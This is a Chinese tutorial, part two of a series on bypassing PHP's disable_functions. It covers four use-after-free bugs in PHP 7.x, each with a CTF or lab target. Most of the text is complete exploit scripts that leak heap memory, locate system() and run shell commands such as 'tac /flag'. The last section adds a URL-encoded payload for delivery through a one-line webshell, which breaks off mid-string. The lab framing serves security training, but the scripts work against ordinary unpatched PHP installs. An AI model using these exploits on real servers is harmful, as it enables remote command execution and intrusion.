不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

突破disable_functions限制执行命令·下

利用UAF漏洞

UAF漏洞(Use-After-Free)是一种内存破坏漏洞,漏洞成因是一块堆内存被释放了之后又被使用。又被使用指的是:指针存在(悬垂指针被引用)。这个引用的结果是不可预测的,因为不知道会发生什么。由于大多数的堆内存其实都是C++对象,所以利用的核心思路就是分配堆去占坑,占的坑中有自己构造的虚表。

悬垂指针:悬垂指针是指一类不指向任何合法的或者有效的(即与指针的含义不符)的对象的指针。比如一个对象的指针,如果这个对象已经被释放或者回收但是指针没有进行任何的修改仍然执行已被释放的内存,这个指针就叫做悬垂指针。

由于本人对PWN这块并不了解,对这些漏洞只是一知半解,所以也仅仅讲如何使用大佬的EXP直接利用了

Json Serializer UAF

漏洞简介

此漏洞利用json序列化程序中的释放后使用漏洞,利用json序列化程序中的堆溢出触发,以绕过disable_functions和执行系统命令。尽管不能保证成功,但它应该相当可靠的在所有服务器 api上使用。

漏洞细节:https://bugs.php.net/bug.php?id=72530

漏洞利用条件

•Linux 操作系统•PHP 版本•7.1 – all versions to date•7.2 < 7.2.19 (released: 30 May 2019)•7.3 < 7.3.6 (released: 30 May 2019)

靶场环境

项目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/6

靶场突破

除了蚁剑的扩展插件,还可以使用国外大佬mm0r1写的EXP:

https://github.com/mm0r1/exploits/tree/master/php-json-bypass

<?php
$cmd = "tac /flag";        // 可替换成需要执行的命令
$n_alloc = 10; # increase this value if you get segfaults
class MySplFixedArray extends SplFixedArray {
    public static $leak;
}
class Z implements JsonSerializable {
    public function write(&$str, $p, $v, $n = 8) {
      $i = 0;
      for($i = 0; $i < $n; $i++) {
        $str[$p + $i] = chr($v & 0xff);
        $v >>= 8;
      }
    }
    public function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    public function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
    # unable to leak ro segments
    public function leak1($addr) {
        global $spl1;
        $this->write($this->abc, 8, $addr - 0x10);
        return strlen(get_class($spl1));
    }
    # the real deal
    public function leak2($addr, $p = 0, $s = 8) {
        global $spl1, $fake_tbl_off;
        # fake reference zval
        $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
        $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)
        $leak = strlen($spl1::$leak);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
    public function parse_elf($base) {
        $e_type = $this->leak2($base, 0x10, 2);
        $e_phoff = $this->leak2($base, 0x20);
        $e_phentsize = $this->leak2($base, 0x36, 2);
        $e_phnum = $this->leak2($base, 0x38, 2);
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = $this->leak2($header, 0, 4);
            $p_flags = $this->leak2($header, 4, 4);
            $p_vaddr = $this->leak2($header, 0x10);
            $p_memsz = $this->leak2($header, 0x28);
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
        if(!$data_addr || !$text_size || !$data_size)
            return false;
        return [$data_addr, $text_size, $data_size];
    }
    public function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = $this->leak2($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = $this->leak2($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            $leak = $this->leak2($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = $this->leak2($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
            return $data_addr + $i * 8;
        }
    }
    public function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = $this->leak2($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
    public function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->leak2($addr);
            $f_name = $this->leak2($f_entry, 0, 6);
            if($f_name == 0x6d6574737973) { # system
                return $this->leak2($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    public function jsonSerialize() {
        global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = new DateInterval('PT1S');
        $room = [];
        for($i = 0; $i < $n_alloc; $i++)
            $room[] = new Z();
        $_protector = $this->ptr2str(0, 78);
        $this->abc = $this->ptr2str(0, 79);
        $p = new DateInterval('PT1S');
        unset($y[0]);
        unset($p);
        $protector = ".$_protector";
        $x = new DateInterval('PT1S');
        $x->d = 0x2000;
        $x->h = 0xdeadbeef;
        # $this->abc is now of size 0x2000
        if($this->str2ptr($this->abc) != 0xdeadbeef) {
            die('UAF failed.');
        }
        $spl1 = new MySplFixedArray();
        $spl2 = new MySplFixedArray();
        # some leaks
        $class_entry = $this->str2ptr($this->abc, 0x120);
        $handlers = $this->str2ptr($this->abc, 0x128);
        $php_heap = $this->str2ptr($this->abc, 0x1a8);
        $abc_addr = $php_heap - 0x218;
        # create a fake class_entry
        $fake_obj = $abc_addr;
        $this->write($this->abc, 0, 2); # type
        $this->write($this->abc, 0x120, $abc_addr); # fake class_entry
        # copy some of class_entry definition
        for($i = 0; $i < 16; $i++) {
            $this->write($this->abc, 0x10 + $i * 8, 
                $this->leak1($class_entry + 0x10 + $i * 8));
        }
        # fake static members table
        $fake_tbl_off = 0x70 * 4 - 16;
        $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
        $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);
        # fake zval_reference
        $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)
        # look for binary base
        $binary_leak = $this->leak2($handlers + 0x10);
        if(!($base = $this->get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }
        # parse elf header
        if(!($elf = $this->parse_elf($base))) {
            die("Couldn't parse ELF");
        }
        # get basic_functions address
        if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }
        # find system entry
        if(!($zif_system = $this->get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }
        
        # copy hashtable offsetGet bucket
        $fake_bkt_off = 0x70 * 5 - 16;
        $function_data = $this->str2ptr($this->abc, 0x50);
        for($i = 0; $i < 4; $i++) {
            $this->write($this->abc, $fake_bkt_off + $i * 8, 
                $this->leak2($function_data + 0x40 * 4, $i * 8));
        }
        # create a fake bucket
        $fake_bkt_addr = $abc_addr + $fake_bkt_off;
        $this->write($this->abc, 0x50, $fake_bkt_addr);
        for($i = 0; $i < 3; $i++) {
            $this->write($this->abc, 0x58 + $i * 4, 1, 4);
        }
        # copy bucket zval
        $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
        for($i = 0; $i < 12; $i++) {
            $this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8, 
                $this->leak2($function_zval, $i * 8));
        }
        # pwn
        $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
        $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);
        $spl1->offsetGet($cmd);
        exit();
    }
}
$y = [new Z()];
json_encode([&$y]);

直接访问即可执行命令。

PHP7 GC with Certain Destructors UAF

漏洞简介

此漏洞利用PHP垃圾收集器(garbage collector)中存在三年的一个 bug,通过PHP垃圾收集器中堆溢出来绕过disable_functions并执行系统命令。

漏洞细节:https://bugs.php.net/bug.php?id=72530

漏洞利用条件

•Linux 操作系统•PHP 版本•7.0 – all versions to date•7.1 – all versions to date•7.2 – all versions to date•7.3 – all versions to date

靶场环境

项目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/7

靶场突破

除了蚁剑的扩展插件,还可以使用国外大佬mm0r1写的EXP:

https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass

<?php
# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1
pwn("tac /flag");            // 可替换成需要执行的命令
function pwn($cmd) {
    global $abc, $helper;
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
        if(!$data_addr || !$text_size || !$data_size)
            return false;
        return [$data_addr, $text_size, $data_size];
    }
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
            return $data_addr + $i * 8;
        }
    }
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    class ryat {
        var $ryat;
        var $chtg;
        
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }
    class Helper {
        public $a, $b, $c, $d;
    }
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
    $n_alloc = 10; # increase this value if you get segfaults
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);
    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();
    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];
    $helper = new Helper;
    $helper->b = function ($x) { };
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
    $closure_obj = str2ptr($abc, 0x20);
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
    ($helper->b)($cmd);
    exit();
}

直接访问即可执行命令。

PHP7 Backtrace UAF

漏洞简介

该漏洞利用在debug_backtrace()函数中使用了两年的一个 bug。我们可以诱使它返回对已被破坏的变量的引用,从而导致释放后使用漏洞。

漏洞细节:https://bugs.php.net/bug.php?id=76047

漏洞利用条件

•Linux 操作系统•PHP 版本•7.0 – all versions to date•7.1 – all versions to date•7.2 – all versions to date•7.3 < 7.3.15 (released 20 Feb 2020)•7.4 < 7.4.3 (released 20 Feb 2020)

靶场环境

CTFHub:https://www.ctfhub.com/#/skilltree

靶场位置:CTFHub技能树WebWeb进阶PHPBypass disable_functionsBacktrace UAF

靶场突破

除了蚁剑的扩展插件,还可以使用国外大佬mm0r1写的EXP:

https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass

<?php
# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1
pwn("tac /flag");            // 可替换成需要执行的命令
function pwn($cmd) {
    global $abc, $helper, $backtrace;
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }
    class Helper {
        public $a, $b, $c, $d;
    }
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
        if(!$data_addr || !$text_size || !$data_size)
            return false;
        return [$data_addr, $text_size, $data_size];
    }
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
            return $data_addr + $i * 8;
        }
    }
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));
    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];
    $helper = new Helper;
    $helper->b = function ($x) { };
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
    $closure_obj = str2ptr($abc, 0x20);
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
    ($helper->b)($cmd);
    exit();
}

直接访问即可执行命令。

PHP7 ReflectionProperty UAF

漏洞简介

PHP在创建ReflectionProperty 类之后,使用$rp->getType()->getName() 这个调用指向的是一个已经被 free 的内存地址,便可以触发UAF。

漏洞细节:https://bugs.php.net/bug.php?id=79820

漏洞利用条件

•Linux 操作系统•PHP 版本:7.4 <= 7.4.8

靶场环境

羊城杯CTF-Break_The_Wall:

https://github.com/gwht/2020YCBCTF/blob/main/wp/web/break_the_wall/break_the_wall.tar.gz

靶场突破

访问靶场地址:

十分明显的一个一句话木马,不过要想蚁剑去连接还需要构造一下payload:

图片

但连接后才发现没有任何权限

图片

这就只能对WebShell上进行代码执行,触发UAF了

直接放出官方的EXP,具体的解题思路请查看官方的WP:

<?php
global $abc, $helper;
class Test {
public HelperHelperHelperHelperHelperHelperHelper $prop;
}
class HelperHelperHelperHelperHelperHelperHelper {
public $a, $b;
},
function s2n($str) {
$address = 0;
for ($i=0;$i<4;$i++){
$address <<= 8;
$address |= ord($str[4 + $i]);
}
return $address;
}
function s2b($str, $offset){
return hex2bin(str_pad(dechex(s2n($str) + $offset - 0x10), 8, "0",
STR_PAD_LEFT));
}
function leak($offset) {
global $abc;
$data = "";
for ($i = 0;$i < 8;$i++){
$data .= $abc[$offset + 7 - $i];
}
return $data;
}
function leak2($address) {
global $helper;
write(0x20, $address);
$leak = strlen($helper->b);
$leak = dechex($leak);
$leak = str_pad($leak, 16, "0", STR_PAD_LEFT);
$leak = hex2bin($leak);
return $leak;
}
function write($offset, $data) {
global $abc;
$data = str_pad($data, 8, "\x00", STR_PAD_LEFT);
for ($i = 0;$i < 8;$i++){
$abc[$offset + $i] = $data[7 - $i];
}
}
function get_basic_funcs($std_object_handlers) {
$prefix = substr($std_object_handlers, 0, 4);
$std_object_handlers = hexdec(bin2hex($std_object_handlers));
$start = $std_object_handlers & 0x00000000fffff000 | 0x0000000000000920; # change 0x920 if finding failed
$NumPrefix = $std_object_handlers & 0x0000ffffff000000;
$NumPrefix = $NumPrefix - 0x0000000001000000;
$funcs = get_defined_functions()['internal'];
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
"0", STR_PAD_LEFT))));
if (hexdec($name_addr) > $std_object_handlers || hexdec($name_addr) < $NumPrefix)
{
continue;
}
$name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);
$name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));
$name = explode("\x00", $name)[0];
if(in_array($name, $funcs)) {
return [$name, bin2hex($prefix) . str_pad(dechex($addr), 8, "0", STR_PAD_LEFT),
$std_object_handlers, $NumPrefix];
}
}
}
function getSystem($unknown_func) {
$unknown_addr = hex2bin($unknown_func[1]);
$prefix = substr($unknown_addr, 0, 4);
$unknown_addr = hexdec($unknown_func[1]);
$start = $unknown_addr & 0x00000000ffffffff;
for($i = 0;$i < 0x800;$i++) {
$addr = $start - 0x20 * $i;
$name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
"0", STR_PAD_LEFT))));
if (hexdec($name_addr) > $unknown_func[2] || hexdec($name_addr) <
$unknown_func[3]) {
continue;
}
$name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);
$name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));
if(strstr($name, "system")) {
return bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10 + 0x08), 8,
"0", STR_PAD_LEFT))));
}
}
for($i = 0;$i < 0x800;$i++) {
$addr = $start + 0x20 * $i;
$name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
"0", STR_PAD_LEFT))));
if (hexdec($name_addr) > $unknown_func[2] || hexdec($name_addr) <
$unknown_func[3]) {
continue;
}
$name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);
$name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));
if(strstr($name, "system")) {
return bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10 + 0x08), 8,
"0", STR_PAD_LEFT))));
}
}
}
$rp = new ReflectionProperty(Test::class, 'prop');
$test = new Test;
$test -> prop = new HelperHelperHelperHelperHelperHelperHelper;
$abc = $rp -> getType() -> getName();
$helper = new HelperHelperHelperHelperHelperHelperHelper();
if (strlen($abc) < 1000) {
exit("UAF Failed!");
}
$helper -> a = $helper;
$php_heap = leak(0x10);
$helper -> a = function($x){};
$std_object_handlers = leak(0x0);
$prefix = substr($php_heap, 0, 4);
echo "Helper Object Address: " . bin2hex($php_heap) . "\n";
echo "std_object_handlers Address: " . bin2hex($std_object_handlers) . "\n";
$closure_object = leak(0x10);
echo "Closure Object: " . bin2hex($closure_object) . "\n";
write(0x28, "\x06");
if(!($unknown_func = get_basic_funcs($std_object_handlers))) {
die("Couldn't determine funcs address");
}
echo "Find func's adress: " . $unknown_func[1] . " -> " . $unknown_func[0] . "\n";
if(!($system_address = getSystem($unknown_func))) {
die("Couldn't determine system address");
}
//echo "Find system's handler: " . $system_address . "\n";
for ($i = 0;$i < (0x130 / 0x08);$i++) {
write(0x308 + 0x08 * ($i + 1), leak2($prefix . s2b($closure_object, 0x08 *
$i)));
}
$abc[0x308 + 0x40] = "\x01";
write(0x308 + 0x70, hex2bin($system_address));
write(0x10, $prefix . hex2bin(dechex(s2n($php_heap) + 0x18 + 0x308 + 0x08)));
echo "Fake Closure Object Address: " . bin2hex($prefix .
hex2bin(str_pad(dechex(s2n($php_heap) + 0x18 + 0x308 + 0x08), 8, "0",
STR_PAD_LEFT))) . "\n";
($helper -> a)("/readflag");    // 需要执行的命令

我们需要对其中用于测试的echo代码注释或删除掉,再将代码部分进行URL编码(一定要编码成一行):

global%20%24abc%2C%20%24helper%3B%0Aclass%20Test%20%7B%0Apublic%20HelperHelperHelperHelperHelperHelperHelper%20%24prop%3B%0A%7D%0Aclass%20HelperHelperHelperHelperHelperHelperHelper%20%7B%0Apublic%20%24a%2C%20%24b%3B%0A%7D%0Afunction%20s2n(%24str)%20%7B%0A%24address%20%3D%200%3B%0Afor%20(%24i%3D0%3B%24i%3C4%3B%24i%2B%2B)%7B%0A%24address%20%3C%3C%3D%208%3B%0A%24address%20%7C%3D%20ord(%24str%5B4%20%2B%20%24i%5D)%3B%0A%7D%0Areturn%20%24address%3B%0A%7D%0Afunction%20s2b(%24str%2C%20%24offset)%7B%0Areturn%20hex2bin(str_pad(dechex(s2n(%24str)%20%2B%20%24offset%20-%200x10)%2C%208%2C%20%220%22%2C%0ASTR_PAD_LEFT))%3B%0A%7D%0Afunction%20leak(%24offset)%20%7B%0Aglobal%20%24abc%3B%0A%24data%20%3D%20%22%22%3B%0Afor%20(%24i%20%3D%200%3B%24i%20%3C%208%3B%24i%2B%2B)%7B%0A%24data%20.%3D%20%24abc%5B%24offset%20%2B%207%20-%20%24i%5D%3B%0A%7D%0Areturn%20%24data%3B%0A%7D%0Afunction%20leak2(%24address)%20%7B%0Aglobal%20%24helper%3B%0Awrite(0x20%2C%20%24address)%3B%0A%24leak%20%3D%20strlen(%24helper-%3Eb)%3B%0A%24leak%20%3D%20dechex(%24leak)%3B%0A%24leak%20%3D%20str_pad(%24leak%2C%2016%2C%20%220%22%2C%20STR_PAD_LEFT)%3B%0A%24leak%20%3D%20hex2bin(%24leak)%3B%0Areturn%20%24leak%3B%0A%7D%0Afunction%20write(%24offset%2C%20%24data)%20%7B%0Aglobal%20%24abc%3B%0A%24data%20%3D%20str_pad(%24data%2C%208%2C%20%22%5Cx00%22%2C%20STR_PAD_LEFT)%3B%0Afor%20(%24i%20%3D%200%3B%24i%20%3C%208%3B%24i%2B%2B)%7B%0A%24abc%5B%24offset%20%2B%20%24i%5D%20%3D%20%24data%5B7%20-%20%24i%5D%3B%0A%7D%0A%7D%0Afunction%20get_basic_funcs(%24std_object_handlers)%20%7B%0A%24prefix%20%3D%20substr(%24std_object_handlers%2C%200%2C%204)%3B%0A%24std_object_handlers%20%3D%20hexdec(bin2hex(%24std_object_handlers))%3B%0A%24start%20%3D%20%24std_object_handlers%20%26%200x00000000fffff000%20%7C%200x0000000000000920%3B%20%23%20change%200x920%20if%20finding%20failed%0A%24NumPrefix%20%3D%20%24std_object_handlers%20%26%200x0000ffffff000000%3B%0A%24NumPrefix%20%3D%20%24NumPrefix%20-%200x0000000001000000%3B%0A%24funcs%20%3D%20get_defined_functions()%5B'internal'%5D%3B%0Afor(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%24name_addr%20%3D%20bin2hex(leak2(%24prefix%20.%20hex2bin(str_pad(dechex(%24addr%20-%200x10)%2C%208%2C%0A%220%22%2C%20STR_PAD_LEFT))))%3B%0Aif%20(hexdec(%24name_addr)%20%3E%20%24std_object_handlers%20%7C%7C%20hexdec(%24name_addr)%20%3C%20%24NumPrefix)%0A%7B%0Acontinue%3B%0A%7D%0A%24name_addr%20%3D%20str_pad(%24name_addr%2C%2016%2C%20%220%22%2C%20STR_PAD_LEFT)%3B%0A%24name%20%3D%20strrev(leak2(%24prefix%20.%20s2b(hex2bin(%24name_addr)%2C%200x00)))%3B%0A%24name%20%3D%20explode(%22%5Cx00%22%2C%20%24name)%5B0%5D%3B%0Aif(in_array(%24name%2C%20%24funcs))%20%7B%0Areturn%20%5B%24name%2C%20bin2hex(%24prefix)%20.%20str_pad(dechex(%24addr)%2C%208%2C%20%220%22%2C%20STR_PAD_LEFT)%2C%0A%24std_object_handlers%2C%20%24NumPrefix%5D%3B%0A%7D%0A%7D%0A%7D%0Afunction%20getSystem(%24unknown_f